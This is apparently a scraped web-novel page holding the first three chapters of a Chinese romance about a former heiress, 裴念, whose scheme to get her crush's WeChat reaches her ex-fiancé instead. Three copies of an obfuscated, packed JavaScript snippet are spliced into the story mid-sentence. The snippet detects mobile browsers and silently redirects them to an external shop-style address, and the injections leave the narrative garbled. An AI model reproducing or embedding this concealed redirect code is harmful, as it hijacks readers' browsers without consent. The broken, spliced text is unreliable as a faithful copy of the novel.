《撩错暗恋对象之后》 1. 第 1 章 京市。 七月的傍晚天气闷燥,柏誉酒店冷气充足,璀璨吊灯下宾客如云,衣香鬓影。 裴念刚从面试场上下来,匆匆赶到宴会厅,身上穿得是最简单的白衬衣牛仔裤。 厅外立着的侍应生上下眼皮一抬,伸出手臂便要拦人。 裴念从包内拿出宴会邀请函,往侍应生面前一递。 侍应生一愣,讪讪接过后,手腕朝厅内一转,微躬着上身说:“抱歉,女士您这边请。” “没关系。”裴念声音平静温和,不见被怠慢的不悦。 侍应生不由掀眸再次朝她打量,灿金灯光下那张脸只略施粉黛,但仍漂亮得令人过目难忘。 柏誊黄家组织的宴会,进出的皆是京市权贵名流,想必这位也是哪家叫得上名号的千金,只是衣着低调罢了。 得益于朴素的穿着,厅内人潮没人注意到裴念的到来,她边朝里走边四处张望,还没看到想见的人,身后就传来几声讥笑。 裴念回头,远远撞上裴锦复杂的目光,那几声讥笑正是她身边的姐妹发出来的。 她漠然收回视线,人群中刻意压低的议论声还是传入耳朵。 “她不是在香港读研吗?怎么突然回来了?” “毕业了呗,一毕业就马不停蹄赶回京市,不知道有什么企图。” “难道还妄想攀上贺家?贺宗霆恐怕连她是谁都忘了吧。” “笑死人了,都被裴家赶出去了还做白日梦,再说小锦都回到裴家了,哪还轮得到她这个冒牌货……” “——念念。” 一声嘹亮的呼喊切断了窸窸窣窣的讥讽,顾免朝裴念大步走来,顺便狠狠剐了嚼舌根的那群人一眼:“来了也不知道给我打电话!” 裴念上前挽住她的胳膊:“这不是还没来得及。” 顾免斜斜收回眼刀,用刻意压低也不小的声音说:“那群low货又朝你发癫呢?” 裴念笑了下:“生活不顺的人是这样的。” 她这话声音不大,却恰逢音乐演奏终止,让周围人都听了个清楚。 刚刚说话声音最大的宋家千金,前段时间因为投资不慎险些把家产败光,已成为圈内笑柄。 宋芸自然听出裴念话里的意思,当即气得满脸通红。 裴念无意和人争吵,收回目光不再理会。 顾免得意地做了个鬼脸,哈哈笑着拉她到窗边吃蛋糕。 才坐下,顾免就附到裴念耳边轻声道:“黄昇还没来。” 裴念淡定的神情瞬间松动,脸颊微热地哼声:“唔,哦,那就再等一会儿……” 顾免一见她这怂样心里就有了数:“别告诉我你从香港跑回来就只是为了在聚会中看他一眼。” 裴念扣着桌布上的蕾丝花边:“那不然还能干嘛?” 顾免恨铁不成钢,磨着后槽牙道:“你顶着这张脸去搞暗恋是想气死谁?” 裴念松开被折磨的桌布,欲言又止:“你也知道…黄昇和贺家那位是朋友…” 顾免一怔。 是了,裴念和贺宗霆的婚约虽说是过去时,在京市却是人尽皆知。加上裴念现已脱离了豪门,再贸然接近贺宗霆的友人,不说圈内人怎样落井下石,黄昇碍于这层关系大概率也会避嫌。 手机叮咚一声传来消息,打断了顾免的思绪,她盯着屏幕上的微信图标眼睛转了转:“你要是担心这个,我倒是有个办法……”她说着招了招手。 裴念把头凑过来,小声问:“什么办法?” “——顾总。” 顾免才一张口就被招呼声打断,她抬头,圆桌对面坐下两个生意上的合作伙伴,只好笑着寒暄一番。 等话题稍作暂停,桌子四周不知不觉围满了人,再说悄悄话必然不合适,顾免清了清嗓子,叫专心吃蛋糕的裴念:“念念,陪我出去透透气。” 裴念一听便明白她的意思,放下叉子起身:“好。” / 贺宗霆把车停进柏誉后花园,才熄火,窗外传来两道交叠的脚步声,哒哒敲醒寂静。 他略一侧目,两道身影正朝着他的车走近。 花园影影绰绰的光线里,不时映出两人的脸。 顾家的二小姐顾免,以及,裴家的前大小姐,他的前未婚妻,裴念。 车窗贴着防窥膜,她们并未察觉到车内有人,堪堪在驾驶座的门前站定。 两人脸上皆挂着严肃谨慎的表情,大概是要谈什么要紧事。 这时候下车未免尴尬,贺宗霆拿出耳机避嫌,还没打开充电仓,顾免的声音已经隔着车身传进车厢。 “我在这儿有个眼熟的侍应生,叫小刘,今晚他正好上班,我拉他入伙儿帮忙。” 贺宗霆拿耳机的手一顿。 这听起来可不像什么好事。 他没再拿耳机,双手抱胸靠向座椅,再次朝窗外抬眼。 比起顾免的游刃有余,裴念显然稚嫩了些,她微攥着手心问:“怎么帮?” 顾免哼笑一声:“今晚宴会来这么多人,出点小差错在所难免,我让小刘先假装递酒,再一个不小心把酒洒他身上,小刘趁机赔付干洗费。” 她说着伸手抓了把空气:“微信号这不就手到擒来。” “可…”裴念看起来对这个计划有些怀疑。 “我知道你的顾虑。”顾免拍拍她的肩,安抚道:“等小刘要来微信号,你先匿名加他,聊上一两个月,等有了感情再面基,加上你们之前那点交集,不怕他不动心。” 听到动心这俩字,裴念耳朵尖爬上红晕,轻咳了声:“不然就照你说的试试?” “当然要试啊!!你都暗恋五年了,该行动了!!” 顾免说着顺手往一旁的车上甩了一巴掌。 嘭—— 一声巨响。 贺宗霆额角青筋跳了跳。 他真是上辈子造了大孽才在这儿被迫听不熟的人讲什么无聊的暗恋计划。 响声惊动了一旁的声控灯,裴念看清流畅的车身线条,下意识扭身瞄了眼车标,当即吓得抚胸口:“库,库里南。” 生活一直奢靡的顾免没有因自己欺负了一辆天价豪车而忐忑,淡定地翻动手机找小刘的联系方式:“车里又没人,怕什么。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275947|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刚过了几年穷学生日子的裴念面对车身双手合十,小声念着“不好意思,真的不好意思…”,默默站远了些。 顾免拿着手机噼里啪啦打了会儿字,抬头目光炯炯看着她:“小刘那边已搞定,你准备好了吧?” 裴念心里还有些打鼓,但不想拂了她的好意,便鼓足了士气道:“准备好了!” 说着将微信界面递到顾免眼前以示决心。 顾免看着她的屏幕中的肥猫,瞳孔震了震,语气委婉地提议:“…念念,不然你先换个头像呢?” “为什么?”裴念不解地看了眼屏幕,点开头像大图,再次朝她眼前怼过去:“大壮这么可爱为什么要换?” 大壮是裴念在港读书期间领养的奶牛猫,捡回去时瘦骨伶仃,经过她两年时间的精心喂养,现已胖如卡车,曾经碧蓝圆溜的瞳孔如今挤成一条缝,整日眯眼嘬腮,极尽猥琐之态。 偏偏此猫是裴念逆鳞,见不得人说一句不好。 顾免和屏幕里大壮对视两秒,避开了视线,干笑两声:“是挺…可…别致,那就先别换了。” 万一黄昇也眼瞎,就对丑猫感兴趣呢。她心里这么祈祷着,拉上裴念去找小刘汇合。 裴念又欣赏了两眼头像,才把手机放回包内。 贺宗霆看着车窗外一闪而过的手机屏幕,忽然理解了顾免的欲言又止。 他敢说,顶着这种丑头像去撩暗恋对象,成功率几乎为零。 贺宗霆捏了把眉心,将丑猫的影子压下去。开门。下车。给黄昇拨去了电话。 “到了。” 电话接通,黄昇懒怠的嗓音和跑车的轰鸣声一道响起。 贺宗霆挂断电话,转身。 骚包的暗红色迈凯轮停在黑色库里南旁边,黄昇下车甩上车门:“没等太久吧?” “没。”贺宗霆不爱废话,直入正题:“和秦总打过招呼了?” 他刚在京南拿下一块地,预备开发成科技园区,新荣科技是最适合的合作方,黄昇和新荣研发部的秦总是同学,就顺手牵了个线。 “工作上的事就放心吧。”黄昇几步上前搂住他的肩膀:“先聊聊别的。” 听他狡黠的语气显然是话中有话,贺宗霆不动声色朝门厅抬脚。 黄昇果然压低嗓音,神神秘秘道:“你知道今晚都谁来了吗?” 虽然明白贺宗霆对圈内八卦不感兴趣,但今晚这八卦和他息息相关,黄昇不再卖关子:“裴家不止来了裴锦,裴念也来了。” 他给出答案等待贺宗霆的反应,却只见他不以为意抬了下眉,神情没有一丝变化。 “这么无情?连自己未婚妻都不在意?” 贺宗霆扯开他的手臂,大步迈上大理石台阶:“婚约早结束了。” 潜在的意思是,他现在和裴念没关系。 “我可听说她是为你来的,你真不考虑考虑?”黄昇眨着眼追上前:“像她这么漂亮的人可不多见。” 贺宗霆将领带扯松了一些。 刚刚在车里闷的。 他冷淡地扯了扯唇角,不过心地玩笑道:“喜欢就让你。” 2. 第 2 章 回宴会厅之前,顾免把小刘叫到楼梯间核对了一遍作战流程,并支付了一笔可观的定金。 小刘收下钱,胸脯拍得啪啪响:“这事包在我身上,我今晚肯定让裴小姐拿到黄总的微信。” 看着他胸有成竹的模样,裴念心跳鼓噪,红着脸道谢:“那就拜托你了。” 耽搁了一会儿时间,再回到厅内,一切热闹如常,仍不见黄晟的身影。 小刘和她们分散开,等待顾免给信号再行动。 裴念跟在顾免身后灵魂出窍地寒暄社交,紧张得连大门都不敢看一眼,好像接下来要行动的人是她一样。 闷头喝了杯香槟壮胆,空酒杯放入侍应生的托盘,过了没一会儿,她敏锐地察觉到周遭的喧闹声倏地暂停。 来了。 裴念目光朝大门处看去。 挤挤挨挨的人群默契地疏散出了大厅中央的位置,正从门边朝内走来的男人很高,深色西装一丝不苟,即便浑身散发着生人勿近的气场,仍有络绎不绝的人同他打招呼。 京市只有贺宗霆有这么大的排场。 早先裴念还和他有婚约时,就曾暗暗为此烦恼,这种到哪都像动物园里被人围观的大象一样的生活,她可不要过。 好在现在婚约解除,不用和贺宗霆一起出席各种场合,自然也不用被人围观,裴念感到庆幸。 为了时刻注意门边的动静,她站在门边的落地窗前,距离贺宗霆不过三四米,他只消微微侧目就能看到她,但即便是曾经有婚约时贺宗霆都没多看过她一眼,现在更加不会。 裴念自然也不在意,她的目光只在他身上停留了一秒,就转移到了他身后稍矮的男人身上,眉眼瞬间弯了下来。 不同于贺宗霆万年冷傲的神情,黄晟脸上永远是带笑的,谁和他打招呼都会热情回应,眼尾唇角上扬的弧度像个小钩子。 裴念看着,心口痒痒的。 大约是她盯得太专注,引起了黄晟的注意,潋滟的桃花眼竟穿过人群直直朝她看了过来,随即很是熟稔地朝她挥了挥手。 即便此前他们并不算熟。 裴念从没预想过这个场景,一时间愣在原地,脸涨得通红,一直到黄晟的视线移开,僵硬的手都没抬起来。 她懊恼地捂了捂脸,发誓等会儿再有这样的机会,一定要给黄晟回应,哪怕只是礼貌地笑一下。 哪成想,机会却只有那么一次,接下来的时间,黄晟都和贺宗霆待在一起,大概是在聊工作,他始终没有单独出来社交的意思。 时间一分一秒流逝,宴会眼看着要步入尾声,裴念面上淡定,脚下急得小踱,顾免一咬牙,干脆给小刘发去信息,让他冒险当着贺宗霆的面行动。 为了避嫌刚刚在楼上服务的小刘很快便端着一托盘的香槟下楼,远远和顾免对了个眼神,丝滑地进入了以贺宗霆为首的社交圈外围。 贺宗霆和秦谈碰了碰杯子,余光撇到几步开外一个侍应生打扮的身影正鬼鬼祟祟朝他的方向靠近。 他垂眼,扫了下他的胸牌。 服务部,刘睿。 呵。他在心里冷笑。 这不就是肩负泼酒重任的小刘。 贺宗霆转了下手中的香槟杯,不动声色掀眸,视线朝四周扫掠,果然在落地窗边揪出另外两个神色可疑的人影。 顾免全神贯注盯紧小刘,心理素质差一些的裴念视线飘忽不定,冷不丁撞上一道审视的目光。 贺宗霆本就偏浅的瞳孔在澄亮的灯光下泛着浅金色泽,明明是温暖的色调,却带着令人不寒而栗的温度。 裴念被他看得心里发虚,错开眼睛的瞬间,打了个冷颤。 顾免注意到她的动静,摸了摸她的手背:“你冷?” “刚刚喝的酒太冰了。” 裴念解释完,再抬头,那道冰冷的视线已经不在她身上,她兀自摇了摇头,应该是看错了,贺宗霆怎么会无缘无故看自己。 冰块撞击杯壁发出清润动静,杯内冒着气泡的酒液摇摇晃晃舔舐杯缘,空气里都是清甜的气息。 可这味道撒到衣服上就会变成令人作呕的酸腐味。 贺宗霆不确定裴念暗恋的男人是谁,但他能确定这味道不论出现在谁身上都会影响到正在洽谈的合作。 他淡声着接过秦谈的话,抬手朝经理招了下。 黄晟在的宴会,经理都会在一旁候着,更别提今天贺宗霆也在,经理时刻绷紧神经,怕出一点差错。 看到贺宗霆招手,经理连忙上前,附耳听完他的吩咐,经理的表情有一瞬间的迷茫,但很快便恭敬地说:“贺总放心,我这就去处理,以后保证不会出现这种问题。” 托盘上只剩下最后一杯香槟,小刘紧握住纤细的杯颈,一寸寸朝黄晟的方向靠近。 今晚的外快,他势在必得! 就在他即将来到黄晟身后时,手臂倏地被人攫住,他吓了一跳,连忙稳住手上的杯子,回头,愕然对上了经理那张严肃的脸。 人群外爆发了一个不大不小的争执,远远看去是经理正在训斥侍应生。 众人只是扫了一眼便恹恹失去兴趣,继续和友人攀谈,只有裴念和顾免神经瞬间绷紧,一瞬不瞬盯着那处。 离得远,她们听不清经理和小刘的对话,但从他们各自的表情和状态来看,经理正在冲小刘发火。 难道是计划败露了? 顾免和裴念对视一眼,略一思忖:“我得去看看,免得小刘说漏嘴。” 现下小刘自然无法再实行计划,她们也没必要再避嫌,裴念跟着顾免一道过去。 她们来到小刘附近,经理正严厉地下达结论:“你下个班要是再穿成这样,以后就不用来了……” 小刘垂头丧气地点头:“知道了,经理。” 听起来说的不像她们的事,裴念和顾免稍稍放心,想着先行离开,待宴会结束再和小刘联系。 “行了,你今天就先回去。”经理挥了挥手,去拿小刘手中的香槟。 小刘还沉浸在计划中,杯子握得很紧,经理一下没拿走,本就烦躁的心情一下火了,用力夺了一下,杯子受力歪斜,液体倾洒而出,全泼到了正欲走开的裴念身上。 衬衫袖子湿了大半,冰凉地贴在手臂,裴念愣怔了一秒,才向满脸复杂连声道歉的小刘说没关系。 经理看此情形气得朝小刘后脑勺拍了一巴掌:“小刘啊小刘,你不惹事心里难受是吧?啊?” “真的没事,是我自己没注意。”裴念尴尬地扯扯袖子,朝顾免做了个欲哭无泪的表情。 第一次经历现世报的顾免也哑口无言,顿了须臾才知道问侍应生要来干毛巾:“先擦擦吧…” 裴念接过后,去洗手间处理。 / 毛巾吸掉多余的酒液,袖子上仍保留着大片的痕迹,裴念无言地和镜子中的狼狈的人对视,想着刚才衣着光鲜朝她打招呼的黄晟。 唉。她无声叹息。 注定和她不是一个世界的人,再喜欢也没办法靠近吧。 忧郁了一会儿,再从洗手间出来的时候,裴念已经调整好了心态,暗恋也有暗恋的好处,就这么远远看上喜欢的人一眼也算得上一种美妙的经历。 正想得出神,忽听有人叫她的名字。 裴念抬眸,裴锦站在洗手间外的走廊看着她。 算下来,今晚是她去香港读书后第一次和裴锦撞见。 裴锦显然没打算和她寒暄,开门见山道:“回来了怎么不去看看妈?” 裴念听到这话有些想笑,她还记得裴锦刚回家那两年以死相逼不让她见妈妈,现在居然也会挑她这个错处。 “你想让我见?”她这话不是讽刺,是真心疑惑。 裴锦冷笑了声:“人都会长大,不用一直把我想得那么坏。”她话音停顿一秒:“妈挺想你的,她睡前总看你小时候的相册。” 裴念心口蓦然酸了一下,她咽了咽喉咙,再开口嗓音软下来:“我这几天找时间回家看看她。” 裴锦听她说“家”,嘴角压了下去,仍挡在她面前没动。 裴念问:“你还有事?” 裴锦直视她的眼睛,朝她走进了一步:“我顺便给你提个醒,贺家老爷子最看重门第,你今天要真是为贺宗霆来的,我劝你趁早死了这条心。” 这话裴念心里赞同,但她今晚没少因为贺宗霆被人嘲讽,谅她平日里脾气再好,这会儿也起了叛逆之心:“那我也给你提个醒,贺家老爷子不仅看重门第,还看重自小的教育。” 裴锦脸色骤变。 早先裴家真假千金的丑闻在京市闹得沸沸扬扬,贺家老爷子知道后震怒,当即终止了和贺宗霆和裴念的婚约。 当时所有人都以为她会代替裴念嫁给贺宗霆,可没想到,贺老爷子不动如山,任裴家怎么攀关系,再不提联姻的事。 时间一长,圈内开始有人议论,说贺老爷子要么早就想和没落的裴家切断关系,要么轻视她儿时的生长环境。 传闻自然传到过她的耳朵,但她并不在意,裴家再没落也是钟鸣鼎食之家,豪门的规则她早就掌握。 她笃信自己最终会嫁给贺宗霆。 至于裴念,离了裴家什么都不是,她不必放在眼里。 想到这儿,裴锦哂笑:“所以你真的要和我争?” 谣言的力量裴念早就见识过,不是简单的一句解释就可以澄清。 “随你怎么想。”她不再辩解,侧身出了走廊。 / 裴念回到大厅,宴会已经接近尾声,宾客陆陆续续走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275948|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大半。 顾免发来消息,叫她上二楼露台说事。 上楼时她碰上还没来得及换下制服的小刘,这才明白顾免叫他们是为了复盘今晚失败的计划。 露台今晚没开放,黑着灯,不见多余的人影,正适合谈见不得人的事。 顾免等他们一到,直入主题:“刘儿,说说吧,刚刚怎么回事?” 小刘摊手:“经理突然过来骂我不守规矩。” 顾免:“具体指什么?” 小刘:“说我衣冠不整。” 顾免上下看了看小刘,面靓条顺,制服熨帖,发型整洁,身上甚至还散发着淡淡的古龙水香味儿。 她疑惑:“挺板正啊。” 裴念也由衷夸赞:“很精神呢。” 小刘露出茫然无措的表情:“就那个贺总,他对经理说我领带的颜色和其他同事不一样,工牌上贴了卡通贴纸,还说我发胶抹太多,亮得反光,有碍他的视线。” 顾免:“……” 裴念:“…………” 哈哈,好一个管天管地的事儿精。 裴念今晚第二次感叹,还好她和贺宗霆的婚约黄了。她真是上辈子做了什么造福社会的大善事才免于嫁给这么一个控制狂。 气氛凝重而怪异,小刘自觉亮出手机:“顾小姐,我还是把钱退给你吧。” “不用。”顾免按住他的手:“本来就是定金,再说又不是你的错。” 小刘感动地捂胸口:“顾小姐要是再有事我一定帮忙。” 三人神色各异地下到一楼,一同前往停车场,顾免去开她的保时捷,小刘去找自己的爱玛,裴念掏出手机查看地铁路线。 才走到后花园门前,顾免忽地停下脚步,伸出手臂将裴念和小刘拦在身后,朝着花园中央努嘴,示意他们看。 花开得正浓的木槿树下,摆着一方石桌两张躺椅,黄晟此刻正窝在其中一张躺椅内,边上站着面色不善的贺宗霆,正说着什么。 “自己过敏不知道?命不想要就直说。” 黄晟有轻度的酒精过敏症,偏偏他又迷恋酒精的气味,总是趁人不备偷喝上一杯,因此车内常备着过敏药,只是他此刻头昏脑胀,起身都困难,只得拜托贺宗霆帮他去拿。 酒店后花园很大,停车场在转弯处,贺宗霆撂下句嘱咐便离开。 霎时间,树下只剩下黄晟一人躺着。 顾免脑海里忽然想起一件事:“黄晟刚接手柏誉的生意,对员工提的建议很是重视……” 小刘秒懂,当即从兜里摸出手机:“我正好有个建议文档要交给他。” 裴念刚反应过来这个新计划,小刘已经蹑手蹑脚朝黄晟走了过去。 总不能一直干等着让别人帮忙,裴念当机立断到转角处望风,紧紧盯着远处亮着灯的红色迈凯轮。 听到脚步声,黄晟眼睛掀起一条缝,见来人是酒店侍应生打扮,以为要来服侍,便摆了摆手:“我没事,不用帮忙。” 那人却没走,恭敬在他身侧蹲下:“黄总,我是服务部的小刘,我用文档收集了员工对酒店的一些意见,想直接发给您,可以加一下您的微信吗?” 黄晟混沌的大脑此刻运转迟钝,没反应过来他的越级,拿起桌上的手机递了过去:“加。” 小刘没想到事情进展竟如此顺利,快速打开微信,扫码时却因为光线微弱,摄像头始终对不上焦。 正急的满头大汗,忽听望风的裴念低声催促:“小刘!快一点!贺宗霆要来了!!” 来不及了。 小刘退出微信,点开相机对着黄晟的微信号拍了一张,快速收手离开。 怕惊动贺宗霆,小刘一回来,他们就着急忙慌地缩回了一楼的电梯间,自然没看到拿药回来的贺宗霆将桌上的手机放进了口袋。 黄晟喝完药又缓了几分钟,才从躺椅上起来,贺宗霆叫来司机,吩咐先把黄晟送走再回家。 夏夜十点钟的首都正是热闹的时候,柏誉的位置却远离闹市,宽阔的街道树影婆娑,人影少得可怜,因此贺宗霆只是偶然朝车窗外一瞥,就看见了走在人行道上的裴念。 这人并不好好走路,垂着脑袋,专注盯着手机屏幕,指尖点着什么。 车身和她擦身而过的时候,贺宗霆看到了一闪而过的微信界面。 下一秒。 他的手机嗡地一声亮了。 他拿起来看,微信弹出了一条好友申请。 :【你好呀,可以交个朋友吗(^^)】 头像是一只眯眼嘬腮的奶牛色肥猫。 丑的这么惊人的头像,见一次就不可能忘。 这是他今晚第二次看到。 贺宗霆眉骨抬了下。 裴念暗恋多年的男人,是他? 3. 第 3 章 过敏药有助眠成分,黄晟上车没多久便睡着,又没多久,被贺宗霆拍醒。 黄晟再次勉强睁眼:“怎么了?” “我给你拿药的时候,有人过来?” “好像是有个人…谁来着?”黄晟意识已经模糊,含含糊糊道:“记不清了…就听见有人叫你名儿了…” 他这状态,多的信息肯定问不出来了。 贺宗霆冷笑一声,不过是拿趟药的功夫,裴念就见缝插针搞到了他的微信号,这女人不简单。 他莫名回想起刚成年那会儿的裴念,那时候贺裴两家还在商议联姻,还是裴家千金的裴念跟在父母身后,乖乖叫他一声哥哥,整个饭局没做过任何逾矩的事。 他理想中的婚姻就是如此,互为利益,不必掺杂多余的感情。 贺宗霆退出微信界面,没理会那条好友申请。 回家需要转一趟地铁,再步行九百米,四十五分钟的路程,裴念一共查看了八十次手机。 一直到回到家中,黄晟都没有通过她的好友申请。 裴念沮丧地打开玄关的灯,看到大壮毛茸茸的身体蹭过来,心情才多云转晴。 喂大壮吃了罐头,裴念又拿起逗猫棒给大壮做饭后训练,即使再有亲妈滤镜,看完专业科普视频之后,她还是承认了大壮体重超标的事实。 虽说体重远超同龄的奶牛猫,大壮身姿却格外矫健,追逐羽毛的过程中,时不时脚蹬沙发来一个优美的后空翻,再稳稳落地。 裴念一手攥着逗猫棒挥舞,一手举着手机忙上忙下地拍照录像。 二十分钟后,大壮意犹未尽,看着趴在沙发上气喘吁吁的废物主人嫌弃地骂了两声。 裴念囫囵在他脑袋上撸了把:“今天就到这儿,妈妈累了。” 大壮不满意,又眯着眼骂了她几句,还伸出前爪胖揍她的手臂。 裴念无奈地把它从地板上抱起来:“好了好了,别撒娇了,妈妈抱着还不行嘛。”说着,在它鼓起的腮帮连亲几口,才又躺下,脑海中不由自主回忆今晚宴会中的场景。 黄晟穿的是偏正式的西装,看起来比之前成熟一些,顾免说他现在接手了柏誉,那日常工作一定很忙吧,所以偶尔漏掉信息再正常不过…… 距离她发好友申请已经过去了两个小时,黄晟此刻应该已经回到家洗完了澡,按照常理,睡前总该翻翻手机才对。 不然就再发一次? 念头起来就再也下不去,她看着手机屏幕上的名片,头像是黑色夜幕,昵称也只简单一个:H。 她犹豫两秒,再次点击了添加到通讯录。 这次如何打招呼呢?上次被漏掉说不定就是招呼的内容太过平庸。 裴念思考起来手臂收紧,大壮生存空间逐渐缩小,气得发出一连串哼哼唧唧的粘糊骂声。 殊不知听在裴念听来是悦耳的撒娇。 裴念瞬间有了主意,眼神放光地打字。 【我家猫撒娇很有一手,加我海量猫片即时放送(爱心)(爱心)】 裴念满意地点了发送,觉得黄晟马上就会上钩。 试问谁能拒绝小猫咪撒娇的视频呢? 美美等了五秒钟,手机果然嗡地震动了一声。 饶是有了心理准备,裴念还是紧张得屏住了呼吸,颤抖着指尖解锁屏幕,入眼的却是一条手机运营商的广告。 胸腔泄气,这种干等回信的感觉太煎熬,裴念从沙发上起来,准备先去洗个澡。 这时,还没来得及熄屏的手机又在她手心震了下。 裴念压下七上八下的心脏,小心翼翼再次举起手机。 这次是H。 仍没有通过她的申请。 但回了两个字:【丑拒】 裴念眼前一黑,墩地跌回了沙发。 / 接下来的一周,裴念都在奔波面试。 今天下午要二面的公司跃维是国内新能源汽车的头部,投简历之前裴念没少在网上刷到过跃维面试是地狱难度。 她学历够格,但经验不足,本以为群面便要被刷下来,没想到意外进了二面。 为了这次面试,裴念每晚练习,做足了准备,再来跃维的时候不像第一次那么紧张。 她面试的是广告部的策划,等待面试的人加上她一共四个,由于存在竞争关系,大家并没有互相闲聊的意思。 裴念复盘自己的简历的时候,顾免的消息发了过来。 【加上黄晟微信没有?】 顾免去年进入自家娱乐公司工作,整日忙得昏天黑地,自上次宴会结束,还没来得及问她的情况。 提到这个,裴念心情就有些微妙:【没有呢。】 顾免:【怎么回事?他没看到?】 裴念:【看到了,他拒绝了我(哭)(哭)】 顾免:【(大惊失色)怎么拒绝的?你说什么了?】 裴念:【我说加我可看大壮撒娇的视频,他居然说丑拒。】 顾免:【……】 顾免:【是谁给你自信用大壮撩男人?!是你喜欢黄晟还是大壮喜欢?!】 裴念丧气退堂:【算了,已经这样了,我还是继续暗恋吧。】 女强人顾免却下达命令:【不行,你给我支棱起来,用你自己的名义再加一次!下次见面我要听到不一样的结果!!】 等候区外响起脚步声,怕是来通知面试的人事,裴念飞快回了个“再说吧”就收起了手机,顺着声音来源抬头。 意料中的人事并未出现,一个男人正带着几个下属从等候区外的走廊经过,路过的人都点头致意恭敬地打招呼。 裴念听到他们口中喊着“贺总”,视线下意识朝为首的男人看去。 那人感觉到,朝她的方向侧目。 隔着透亮的玻璃隔断,裴念对上贺宗霆金棕色的瞳孔,随后便见他皱了下眉。 看到裴念后,贺宗霆才想起大概一周前他刚拒绝了她匪夷所思的好友申请,而一周后的现在,她竟然找到了他的公司来。 他讨厌纠缠不休的人,这在圈内并不是秘密。 显然裴念离开裴家太久,对他的脾性并不了解。 她看起来是来面试的,面试结果他不会干预,但她若是再有逾矩的行为,贺宗霆想他有必要当面做出拒绝。 这么想着,原本坐在等候区前方的裴念,不知道何时悄无声息挪到了最里面。 其他几个等着面试的人早就敏锐察觉到动静,都纷纷起身同他打招呼,不想错过这个在未来老板面前露面的机会。 而裴念,在几人身后也站了起来,但却微垂着头,嘴唇嗫嚅着,连声音都没发出。 她这模样和其他几个急于表现的人形成强烈对比,似乎并不想和他攀上一点关系。 看来她在线下还算识趣。 贺宗霆点头回应了下,收回视线离开。 一直到等候区再次恢复平静,裴念才拿出手机搜索跃维公司的信息,多个网站的检索,终于让她找到之前漏掉的资讯。 跃维于两年前被贺氏集团收购,但仍保留独立运营权,因此裴念才没在该公司的官网看到和贺家的关联。 至于贺宗霆为什么会来跃维,据说是因为原CEO上个季度经营出了差错,被贺宗霆连着亲信一起革除,现在整个跃维都归贺宗霆管制。 裴念有一瞬间懊恼自己面试前没有查清楚资料,但转念一想,即便知道贺宗霆是跃维的老板,她为了自身的发展大概率还是会投递简历。 毕竟她现在贺宗霆没有任何关系。 可不知道为什么,刚才贺宗霆看她的眼神很凶。 裴念回忆从前,没觉得自己有惹到过他。 事情没想出个所以然,连带着面试也受到了影响,从办公室出来时,她明显看到一位面试官微微摇了摇头。 跃维内部很大,布局错综,离开前,裴念先去了趟洗手间,出来时迷了路,还好碰见带她去面试的人事小袁要下楼买咖啡,顺路带她下楼。 到了电梯间,小袁按下下行键,正好截到从顶楼下来的一趟电梯。 门一开,小袁愣了下,惶恐地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275949|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝电梯内的男人点头:“贺总。”然后才进入电梯,顺便招手让裴念进来。 裴念没乱看,懊恼地朝小袁笑了笑:“你先下去吧,我好像有东西落在洗手间了。” 电梯门缓缓阂上,小袁只好点头说:“好吧,你再迷路记得找人问。” 裴念又等了一会儿,才乘电梯下楼,出了跃维的大楼,她接到了一通久违的电话。 看到屏幕上的来电人,她下意识慢下脚步,在一辆黑色的大车前停下,手机震得手心发麻,才按下接通键。 周芸温和的嗓音从听筒传出:“念念,是妈妈。” 裴念先是“嗯”了一声,随后才含混不清地叫了声“妈”。 “听小锦说上次在黄家的宴会上碰见你了,你这孩子,回京市怎么也不跟妈妈说一声,我好去接你……” 周芸说起话来滔滔不绝,仿佛和从前没什么区别,裴念发紧的喉咙松懈下来,用自己都没意识到的小孩子撒娇的语气说:“妈妈,我一回来就在找工作,每天都忙到天黑,想着周末回家看你呢。” 电话里沉默了两秒,周芸再开口语气里带着点小心翼翼:“念念,这周末小锦回家,家里可能没办法待客,妈妈订了云鹤楼的包间,预订的都是你爱吃的菜,那里安静,我们也能好好说说话……” 裴念嘴角上扬的弧度落了下来,语气如常地说:“好,我正好想吃了。” 电话挂断后,天色已经暗了下来。 裴念抬头朝天空望了望,雾蒙蒙的灰尘裹着整片苍穹,沉沉地朝城市倾轧下来。 京市常年是这样的天气,她其实没有那么喜欢。 香港那边也不是没有合适的工作机会,决心回来前,导师同学都劝她留下。 至于非要回来的理由,在短短几天内都相继失去,因此她觉得自己很可笑。 手机放回包里时,指腹误触到微信,鬼使神差地弹到了新朋友界面。 H还静静在列表内躺着。 负气一般,她抿起嘴唇,再一次点击了添加,没过脑子地噼里啪啦打了一行字,闭眼发了过去。 